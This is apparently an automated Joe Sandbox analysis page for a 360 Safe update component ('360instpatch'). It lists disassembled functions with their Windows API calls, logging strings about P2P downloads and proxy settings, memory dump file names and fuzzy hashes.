Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _wcsrchr$_memset$FileModuleName_wcslen$ClosePathQueryTempValue
String ID: %s\360Safe\LiveUpdateLog\P2SP%s.log$360P2SP.dll$LSPKeepCloseNum:%d IsLSPMode:%d$SOFTWARE\360Safe\Leak$[CTaskMgr::__init_global_vars] Loglevel:%u DnsProxy_enable:%u TFWRate:%d ProxyUpdateDate:%u$competition$liveupdate360$p2sp init %s
API String ID: 1602246604-1275363313
Opcode ID: 0e10721624ffc30c2693caf05ec1c9a5141d8318d33b82489c110ab5a2149493
Instruction ID: e87fae8c8a29eea847e0bbacfc7aab48c68977bcd7a37562927348f0be29100d
Opcode Fuzzy Hash: 0e10721624ffc30c2693caf05ec1c9a5141d8318d33b82489c110ab5a2149493
Instruction Fuzzy Hash: 97B191B3414199AADF61DFB4CC81EEE37ACEF15308F00056AF905D61A0EB399648C7A2

Function 6BEEC988 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6BF2405E: _memset.LIBCMT ref: 6BF24091
Part of subcall function 6BF2405E: wvnsprintfW.SHLWAPI(?,000003FF,6BFCC288,6BF0E1F9), ref: 6BF240AC

GetLastError.KERNEL32 ref: 6BEECD0E
GetLastError.KERNEL32 ref: 6BEECD29
GetLastError.KERNEL32 ref: 6BEECD47
GetLastError.KERNEL32 ref: 6BEECD62
GetLastError.KERNEL32 ref: 6BEECD76
GetLastError.KERNEL32 ref: 6BEECD91
GetLastError.KERNEL32 ref: 6BEECDA8
GetLastError.KERNEL32 ref: 6BEECDC3

Strings

[%d.] exception raised in method CFileMgr::SetMemFile, error code is %d, xrefs: 6BEECAFB
[%d.] exception raised in method CFileMgr::SetMemFile, parameter nNumber must greater than zero, xrefs: 6BEEC9D2, 6BEECA0A, 6BEECA3D, 6BEECA79
[%d.] exception raised in method CFileMgr::SetMemFile, parameter pBuffer can not be NULL, xrefs: 6BEEC99E
[%d.] exception raised in method CFileMgr::SetMemFile, open file fail, error code is %d, xrefs: 6BEECBB0
[%d.] exception raised in method CFileMgr::SetMemFile, read from file fail(call WriteFile), error code is %d, xrefs: 6BEECD17, 6BEECD50, 6BEECD7F, 6BEECDB1

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: ErrorLast$_memsetwvnsprintf
String ID: [%d.] exception raised in method CFileMgr::SetMemFile, error code is %d$[%d.] exception raised in method CFileMgr::SetMemFile, open file fail, error code is %d$[%d.] exception raised in method CFileMgr::SetMemFile, parameter nNumber must greater than zero$[%d.] exception raised in method CFileMgr::SetMemFile, parameter pBuffer can not be NULL$[%d.] exception raised in method CFileMgr::SetMemFile, read from file fail(call WriteFile), error code is %d
API String ID: 3354761010-881496342
Opcode ID: 96efc3b240105c749ecfc4dbda0f5b29a30b11dfd8a17f769d0e831eedce93f8
Instruction ID: 8af1596709bc6881502d48feda937139ff6dde53b1616d111eab80cd7318a021
Opcode Fuzzy Hash: 96efc3b240105c749ecfc4dbda0f5b29a30b11dfd8a17f769d0e831eedce93f8
Instruction Fuzzy Hash: 43C19272500A05AFDB11DF79CC81B977BE5FB44304F208819F9AAC2360E77AE5558BB1

Function 6BF0C7D8 Relevance: 35.6, APIs: 5, Strings: 15, Instructions: 622
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 6BF0C7DF
GetTickCount.KERNEL32 ref: 6BF0C85B
_memset.LIBCMT ref: 6BF0C964

Part of subcall function 6BF240CF: _memset.LIBCMT ref: 6BF24102
Part of subcall function 6BF240CF: wvnsprintfW.SHLWAPI(?,000003FF,?,?), ref: 6BF2411D

Part of subcall function 6BEE9134: _wcslen.LIBCMT ref: 6BEE913B

Part of subcall function 6BEED55B: _wcslen.LIBCMT ref: 6BEED562

Part of subcall function 6BF2405E: _memset.LIBCMT ref: 6BF24091
Part of subcall function 6BF2405E: wvnsprintfW.SHLWAPI(?,000003FF,6BFCC288,6BF0E1F9), ref: 6BF240AC

Strings

.P2P, xrefs: 6BF0C9B6
[%d.] AppName=%s IsSkipEnt:%d, xrefs: 6BF0CAEE
[%d.] EntModuleList=%s, xrefs: 6BF0CACB
,360sdupd,360tray,360leakfixer,360safe,softmanager,360netcfg,seup,360entclient,softmgr,sdis,, xrefs: 6BF0CA7A, 6BF0CAC3
360tray, xrefs: 6BF0CB2E
[%d.] Delete mem File, xrefs: 6BF0CFA3
[%d.] discard resume mem, xrefs: 6BF0CFD7
[%d.] URL = %s File=%s, xrefs: 6BF0C97D
[%d.] ErrorCode = %d(%s) PDownURL = %s, xrefs: 6BF0CA05
[%d.] ErrorCode = %d(%s), xrefs: 6BF0CDC9
[%d.] DUQuota = %d Liveupdate360:%d, xrefs: 6BF0CC5C
[%d.] ErrorCode = %d(%s), xrefs: 6BF0CD62
[%d.]dl DownType:%d P2pDelay:%d.SkipEnt:%d, xrefs: 6BF0CAB8
[%d.] ErrorCode = %d(%s), , xrefs: 6BF0CEF2
[%d.] FileName=%s ErrorCode= %d(%s), xrefs: 6BF0CF51

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _memset$_wcslenwvnsprintf$CountH_prolog3Tick
String ID: ,360sdupd,360tray,360leakfixer,360safe,softmanager,360netcfg,seup,360entclient,softmgr,sdis,$.P2P$360tray$[%d.] AppName=%s IsSkipEnt:%d$[%d.] DUQuota = %d Liveupdate360:%d$[%d.] Delete mem File$[%d.] EntModuleList=%s$[%d.] ErrorCode = %d(%s)$[%d.] ErrorCode = %d(%s)$[%d.] ErrorCode = %d(%s) PDownURL = %s$[%d.] ErrorCode = %d(%s), $[%d.] FileName=%s ErrorCode= %d(%s)$[%d.] URL = %s File=%s$[%d.] discard resume mem$[%d.]dl DownType:%d P2pDelay:%d.SkipEnt:%d
API String ID: 4223458422-4225084922
Opcode ID: 02431b624e64b6283d9860f4c7df0bff481641de8433cbceeb7517a88e8992e7
Instruction ID: 70d059cf95265ba2e2bc2ac241960d41f44913014c05dbb411a3c24c9d4e2f41
Opcode Fuzzy Hash: 02431b624e64b6283d9860f4c7df0bff481641de8433cbceeb7517a88e8992e7
Instruction Fuzzy Hash: 7F426B72900B01DFCB21CF79C851A9AFBF5FF94304F10891EE4AA86270DB79A541EB61

Function 00B7E0D8 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 191
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00B7E0F7
_memset.LIBCMT ref: 00B7E11A
SHGetValueW.SHLWAPI(?,?,?,?,?,00000080,?,?,00000018), ref: 00B7E13C
PathCombineW.SHLWAPI(?,?,?,?,?,?,00000018), ref: 00B7E186
PathFileExistsW.SHLWAPI(?,?,?,00000018), ref: 00B7E18F
_memset.LIBCMT ref: 00B7E1DE
PathCombineW.SHLWAPI(?,?,360ver.dll,?,?,?,?,?,00000018), ref: 00B7E1F5
PathCombineW.SHLWAPI(00000000,?,360Common.dll,?,?,?,?,?,00000018), ref: 00B7E203
PathCombineW.SHLWAPI(?,?,360Base.dll,?,?,?,?,?,00000018), ref: 00B7E214
GetProcAddress.KERNEL32(00000000,Get360SafeVersion), ref: 00B7E274
GetProcAddress.KERNEL32(?,IsBetaVersion), ref: 00B7E281
_memset.LIBCMT ref: 00B7E2C1

Strings

Get360SafeVersion, xrefs: 00B7E26E
IsBetaVersion, xrefs: 00B7E276
360Common.dll, xrefs: 00B7E1F7
0.0.0.0, xrefs: 00B7E2DA
360ver.dll, xrefs: 00B7E1E6
360Base.dll, xrefs: 00B7E205

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: Path$Combine$_memset$AddressProc$ExistsFileH_prolog3Value
String ID: 0.0.0.0$360Base.dll$360Common.dll$360ver.dll$Get360SafeVersion$IsBetaVersion
API String ID: 2656314946-96710800
Opcode ID: 969e44c32ccbdca17e811fd06abbb24dedcd7c3e59eb7718e7e4669a5264172c
Instruction ID: 61c482d6ae88a10569e53c5cb4c58600e819d81885b7a5eb1a6bb2e43f08f6eb
Opcode Fuzzy Hash: 969e44c32ccbdca17e811fd06abbb24dedcd7c3e59eb7718e7e4669a5264172c
Instruction Fuzzy Hash: 8D6129759002499BDB21EFA4DC85EEF77FDEF48700F0044AAE96997181EB70E644CB50

Function 6BEE6E40 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 157
synchronizationmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32(AA5945B3,?,?,?,?,?,?,?,6BF5E70B,000000FF), ref: 6BEE6E84
__snwprintf.LIBCMT ref: 6BEE6E9B
CreateMutexW.KERNEL32(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6BF5E70B,000000FF), ref: 6BEE6EB5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,6BF5E70B,000000FF), ref: 6BEE6EC8
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,?,?,?,?,?,?,6BF5E70B,000000FF), ref: 6BEE6ED8
_memset.LIBCMT ref: 6BEE6EF4
_swscanf.LIBCMT ref: 6BEE6F2B
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6BF5E70B,000000FF), ref: 6BEE6F45
HeapAlloc.KERNEL32(00000000,00000000,000005C0,?,?,?,?,?,?,?,?,?,?,?,?,6BF5E70B), ref: 6BEE6F57
__CxxThrowException@8.LIBCMT ref: 6BEE6F92
__swprintf.LIBCMT ref: 6BEE6FA9
__CxxThrowException@8.LIBCMT ref: 6BEE6FD0
ReleaseMutex.KERNEL32(?,?,6BF7CAE8), ref: 6BEE6FDE
CloseHandle.KERNEL32(?), ref: 6BEE7000
ReleaseMutex.KERNEL32(00000000), ref: 6BEE7023
CloseHandle.KERNEL32(00000000), ref: 6BEE702E

Strings

1830B7BD-F7A3-4c4d-989B-C004DE465EDE, xrefs: 6BEE6E8B
%s %u, xrefs: 6BEE6E90

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: Mutex$CloseException@8HandleHeapProcessReleaseThrow$AllocCreateCurrentErrorLastObjectSingleWait__snwprintf__swprintf_memset_swscanf
String ID: %s %u$1830B7BD-F7A3-4c4d-989B-C004DE465EDE
API String ID: 2967953817-332789905
Opcode ID: b28ae3e1f820c4bc60c286c63ed6298eeb20c6970046109500a207bac171fe64
Instruction ID: 47e4fd53f6c29f7560b8ecb166689e46e0b5157fbb5250fca621be9711019b4c
Opcode Fuzzy Hash: b28ae3e1f820c4bc60c286c63ed6298eeb20c6970046109500a207bac171fe64
Instruction Fuzzy Hash: E85103B2840215AFDB10DFB4CC45BAF77B8EF05704F204199EA15EB250EB3896498BB1

Function 00B665A6 Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 336
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00B665AD
GetDlgItem.USER32(?,00000403), ref: 00B665D5

Part of subcall function 00B63197: InvalidateRect.USER32(?,00000000,00000000,?,?,00B60207,?), ref: 00B631AD

GetDlgItem.USER32(?,000003EF), ref: 00B6665A
GetDlgItem.USER32(?,000003F1), ref: 00B666B4

Part of subcall function 00B5F7D0: SetWindowLongW.USER32(?,000000FC,?), ref: 00B5F7F6

GetDlgItem.USER32(?,00000411), ref: 00B666E7
GetDlgItem.USER32(000000FF,000003F6), ref: 00B66774

Part of subcall function 00B46C96: SetWindowLongW.USER32(?,000000FC,?), ref: 00B46CBC

GetDlgItem.USER32(000000FF,000003EA), ref: 00B667C4
ShowWindow.USER32(?,00000000,000000E5,PNG,00000004,?), ref: 00B6680B
GetDlgItem.USER32(000000FF,0000040F), ref: 00B6686E
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00B668A2
ShowWindow.USER32(?,00000000), ref: 00B668B0
GetDlgItem.USER32(000000FF,00000410), ref: 00B668DC
ShowWindow.USER32(?,00000000), ref: 00B66903
GetDlgItem.USER32(000000FF,00000409), ref: 00B66932

Part of subcall function 00B6134F: SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000006,?,?,00000000,?,?,?,00B477F9,0000013F,PNG), ref: 00B613A1

GetDlgItem.USER32(000000FF,000003ED), ref: 00B669D2

Part of subcall function 00B662CA: __EH_prolog3.LIBCMT ref: 00B662D1

Part of subcall function 00B61610: EnableWindow.USER32(?,?), ref: 00B6161B
Part of subcall function 00B61610: InvalidateRect.USER32(?,00000000,00000001,?,?,00B45AF9,?), ref: 00B6162A
Part of subcall function 00B61610: RedrawWindow.USER32(?,00000000,00000000,00000105,?,?,00B45AF9,?), ref: 00B6163C

Strings

PNG, xrefs: 00B6666A, 00B667F2, 00B6687E

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: Item$Window$Show$H_prolog3InvalidateLongRect$EnableMessageRedrawSend
String ID: PNG
API String ID: 1363821098-364855578
Opcode ID: 402503dbca1896c736324a5b2a9d2d72e02b307ba7e55aeb13f70880c1d69b8b
Instruction ID: 33a4c237f0e70a05ba2adca08f6a14456caca3b6aee14d3d901a409efdc347c5
Opcode Fuzzy Hash: 402503dbca1896c736324a5b2a9d2d72e02b307ba7e55aeb13f70880c1d69b8b
Instruction Fuzzy Hash: FDD17B30540B09ABDB24EB70CC96FEAB7E4AF14711F404998B16B671E2EF706A48CB15

Function 6BF05625 Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 291
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 6BF05644

Part of subcall function 6BF01914: __EH_prolog3.LIBCMT ref: 6BF0191B
Part of subcall function 6BF01914: GetTickCount.KERNEL32 ref: 6BF01926
Part of subcall function 6BF01914: GetTickCount.KERNEL32 ref: 6BF01930
Part of subcall function 6BF01914: GetTickCount.KERNEL32 ref: 6BF01940

_wcsncpy.LIBCMT ref: 6BF056F7
_wcsncpy.LIBCMT ref: 6BF05716
_wcslen.LIBCMT ref: 6BF05775
_wcslen.LIBCMT ref: 6BF05786
_wcslen.LIBCMT ref: 6BF05797
_memset.LIBCMT ref: 6BF0583E
_memset.LIBCMT ref: 6BF05855
_memset.LIBCMT ref: 6BF0586C
_memset.LIBCMT ref: 6BF0590A
_wcslen.LIBCMT ref: 6BF05949
StrStrIW.SHLWAPI(?,http://,?,?,?,00000000,00000000,000000FF,?,?,?,?,?,0000000C), ref: 6BF05959

Part of subcall function 6BF0429A: __EH_prolog3.LIBCMT ref: 6BF042B3
Part of subcall function 6BF0429A: StrStrIW.SHLWAPI(?,file://,00000001,00000000,00000000,00000000,000000FF), ref: 6BF0436A
Part of subcall function 6BF0429A: _wcslen.LIBCMT ref: 6BF0438A
Part of subcall function 6BF0429A: _wcslen.LIBCMT ref: 6BF04398
Part of subcall function 6BF0429A: _wcslen.LIBCMT ref: 6BF043AB

Strings

http=, xrefs: 6BF057A5
[Update Ie Proxy] WPAD[%d], Proxy[%s], PAC[%s], DialUp[%d], xrefs: 6BF0568D
socks=, xrefs: 6BF057B0
http://, xrefs: 6BF05953

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _wcslen$_memset$CountH_prolog3Tick$_wcsncpy
String ID: [Update Ie Proxy] WPAD[%d], Proxy[%s], PAC[%s], DialUp[%d]$http://$http=$socks=
API String ID: 2113534588-487906059
Opcode ID: 01ed30d33635760582ee4902ba68b7500b00201235740488d88cbc48b3eadae3
Instruction ID: 28ca380560a5266b4a59b44aba0b55445e4829200540159fe1f684ead109901f
Opcode Fuzzy Hash: 01ed30d33635760582ee4902ba68b7500b00201235740488d88cbc48b3eadae3
Instruction Fuzzy Hash: F0A17F73500609DBDB20CF74CC91AEA73F8BF44314F10452AEA19DA260EF78EA44DBA0

Function 6BEF4F3B Relevance: 26.7, APIs: 4, Strings: 11, Instructions: 480COMMON

Download Yara Rule

APIs

Part of subcall function 6BF3AB44: __EH_prolog3_catch.LIBCMT ref: 6BF3AB4B

GetLastError.KERNEL32(AA5945B3,00000000,?,00000000), ref: 6BEF4FA7
GetLastError.KERNEL32(00000001,AA5945B3,00000000,?,00000000), ref: 6BEF5020

Part of subcall function 6BF1BFAE: __EH_prolog3.LIBCMT ref: 6BF1BFB5
Part of subcall function 6BF1BFAE: _memset.LIBCMT ref: 6BF1C152

_memset.LIBCMT ref: 6BEF53F1
GetTickCount.KERNEL32 ref: 6BEF54D6

Part of subcall function 6BF23F7C: _memset.LIBCMT ref: 6BF23FAF
Part of subcall function 6BF23F7C: wvnsprintfW.SHLWAPI(?,000003FF,?,?), ref: 6BF23FCA

Strings

ERR_HTTPMGR_DNS_NOT_FINISH, xrefs: 6BEF556F
[%d.] Start Through FireWall http protocol PickIp Failed, xrefs: 6BEF5204
ERR_HTTPMGR_NOT_IP, xrefs: 6BEF510B, 6BEF552A
[%d.] proxy=%d,Errcode = %u(%s), , xrefs: 6BEF5581
[%d.] ErrorCode = %d,, xrefs: 6BEF502D
[%d.%3d] , xrefs: 6BEF52EF
[%d.] Start Through FireWall http protocol PickUrl Failed, xrefs: 6BEF509D
[%d.] Errcode = %u(%s), xrefs: 6BEF5122
[%d.%3d] ConnectNum = %d, xrefs: 6BEF54F7
[%d.] ErrorCode = %d , , xrefs: 6BEF4FB4
[%d.] proxy=%d,Errcode = %u(%s), , xrefs: 6BEF5547

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _memset$ErrorLast$CountH_prolog3H_prolog3_catchTickwvnsprintf
String ID: ERR_HTTPMGR_DNS_NOT_FINISH$ERR_HTTPMGR_NOT_IP$[%d.%3d] $[%d.%3d] ConnectNum = %d$[%d.] ErrorCode = %d , $[%d.] Errcode = %u(%s)$[%d.] ErrorCode = %d,$[%d.] Start Through FireWall http protocol PickIp Failed$[%d.] Start Through FireWall http protocol PickUrl Failed$[%d.] proxy=%d,Errcode = %u(%s), $[%d.] proxy=%d,Errcode = %u(%s),
API String ID: 2301807879-2515552278
Opcode ID: ad54e349a54a371b914d9978752e331c618910dcb0800a83917811d56dd55238
Instruction ID: b898d9655538acce0ba5db0dc17f382aaa5b7d41cd63b0e4f0868087f86d523f
Opcode Fuzzy Hash: ad54e349a54a371b914d9978752e331c618910dcb0800a83917811d56dd55238
Instruction Fuzzy Hash: BD024B71A003059FEB10CFB4C841BAE77FAEF04304F20856DE95A97291DB3EA955CBA1

Function 6BF2E724 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 88windowregistrythreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF2E732

Part of subcall function 6BEFAE3C: KiUserExceptionDispatcher.NTDLL(406D1388,00000000,00000004,00001000,6BF78AA8,00000018,6BF2E73E,00000000), ref: 6BEFAE6F

GetModuleHandleW.KERNEL32(00000000), ref: 6BF2E760
RegisterClassExW.USER32(00000030), ref: 6BF2E780
GetModuleHandleW.KERNEL32(00000000,00000000), ref: 6BF2E788
CreateWindowExW.USER32(00000000,360AsyncNetwork,360AsyncNetwork,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 6BF2E795

Part of subcall function 6BF2C5B6: SetTimer.USER32(?,00000000,00000064,00000000), ref: 6BF2C5D6

SetEvent.KERNEL32(?,00000000), ref: 6BF2E7B3
TranslateMessage.USER32(?), ref: 6BF2E7C4
DispatchMessageW.USER32(?), ref: 6BF2E7CE
KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 6BF2E7DB
DestroyWindow.USER32(?,00000000), ref: 6BF2E7F0
GetModuleHandleW.KERNEL32(00000000), ref: 6BF2E7F7
UnregisterClassW.USER32(360AsyncNetwork,00000000), ref: 6BF2E7FF

Strings

0, xrefs: 6BF2E749
p2sp.Network, xrefs: 6BF2E72D
360AsyncNetwork, xrefs: 6BF2E768, 6BF2E792, 6BF2E793, 6BF2E7FE

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: HandleModule$ClassDispatcherMessageUserWindow$CallbackCreateCurrentDestroyDispatchEventExceptionRegisterThreadTimerTranslateUnregister
String ID: 0$360AsyncNetwork$p2sp.Network
API String ID: 4253188931-2555541505
Opcode ID: abbda58daa3d984bd4bd338538025021b94fbea49de6136526d81ac54af83728
Instruction ID: dc5d48a66f554959f1932968021658963ab893a929b83e550e70b95904b6f76f
Opcode Fuzzy Hash: abbda58daa3d984bd4bd338538025021b94fbea49de6136526d81ac54af83728
Instruction Fuzzy Hash: 0521D8B3D21228ABDF519FE5CC489DEBFBCFF5A651B10405AF501E2120DB788905CBA5

Function 6BF0B868 Relevance: 25.0, APIs: 5, Strings: 9, Instructions: 492COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6BF0B86F
GetTickCount.KERNEL32 ref: 6BF0B884
_wcslen.LIBCMT ref: 6BF0B8EC
_wcslen.LIBCMT ref: 6BF0B9A6

Strings

[%d.] DUQuota stop, xrefs: 6BF0BB87
[%d.%3d] CheckTimeout StartP2PDownloads, xrefs: 6BF0BD48
[%d.] SetP2pSpeedLimitState;%d., xrefs: 6BF0BBB2
[%d.] BackupZone enable all task., xrefs: 6BF0B943
[%d.] [Resource] StartResourceConnect., xrefs: 6BF0B89C
[%d.] slow speed :%d close NonUrgentMode ., xrefs: 6BF0B9FE
[%d.] HttpMgr ReBoot , xrefs: 6BF0BE7B
[%d.] P2P Delay End:%d , xrefs: 6BF0BD03
[%d.] Downlaod OnTimeout Failed:%d , xrefs: 6BF0BAD0

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
